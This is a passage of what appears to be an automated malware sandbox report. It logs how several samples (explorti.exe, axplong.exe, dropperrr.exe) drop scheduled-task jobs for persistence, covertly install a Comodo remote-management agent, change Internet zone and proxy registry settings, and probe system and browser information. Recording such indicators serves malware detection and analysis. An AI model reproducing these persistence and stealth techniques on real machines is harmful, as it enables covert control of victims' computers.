File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\platform.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\cachecontrol\heuristics.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\DLLs\bz2.pyd C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_isinstance.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Etc\GMT C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\re.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\te_in.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\timeit.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\__init__.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\alias.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\fa_in.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\uuid.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Brazzaville C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Guadeloupe C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\US\East-Indiana C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\mac_croatian.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Accra C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Hebron C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\minusarm.gif C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\DESCRIPTION.rst C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\macCroatian.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\iso2022_jp.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\configSectionNameDialog.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib-tk\tkFont.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\inputstream.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\bsddb\dbrecio.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\command\clean.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\langthaimodel.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\es_hn.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Argentina\Jujuy C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Indiana\Indianapolis C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\EST5EDT C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\samples\PanedWin.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\email\mime\nonmultipart.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\distlib\version.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Beirut C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\msgs\es.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\auth.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Antarctica\McMurdo C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Iran C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\ComboBox.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\Old14Pt.fs C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\search.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\spin.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Banjul C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\GB-Eire C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Tortola C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\demos\bitmaps\harddisk.xbm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\labelframe.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\shift_jisx0213.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\macurl2path.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Bangui C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Chicago C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Managua C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Australia\LHI C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Vilnius C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Pacific\Marquesas C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\iso8859_11.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\koi8_u.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\Variable.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\DLLs\tcl85.dll C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\ComboBox.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\unicode_escape.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
File opened for modification C:\Windows\Installer\e59a157.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA2FD.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA33C.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\SourceHash{373FFE70-5FF7-492D-A2F4-0C6A15D8D503} C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA4D3.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIAAC2.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\explorti.job C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
File opened for modification C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\wix{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}.SchedServiceConfig.rmi C:\Windows\syswow64\MsiExec.exe N/A
File created C:\Windows\Installer\e59a159.msi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA562.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBDA1.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA532.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIAB21.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIB3EC.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e59a157.msi C:\Windows\system32\msiexec.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\1000029002\83eb245d83.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\1000029002\83eb245d83.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\cffit\jpxj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Version = "151109272" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductIcon = "C:\\Windows\\Installer\\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\\icon.ico" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\InstanceType = "0" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30\DefaultFeature C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AdvertiseFlags = "388" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\DeploymentFlags = "3" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\PackageCode = "D7076E96D3235814DB26ACC95D2BAD84" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Language = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CDM\proxy = "false" C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductName = "Endpoint Manager Communication Client" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\PackageName = "em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\CDM C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Clients = 3a0000000000 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Assignment = "1" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AuthorizedLUAApp = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media\1 = ";" C:\Windows\system32\msiexec.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
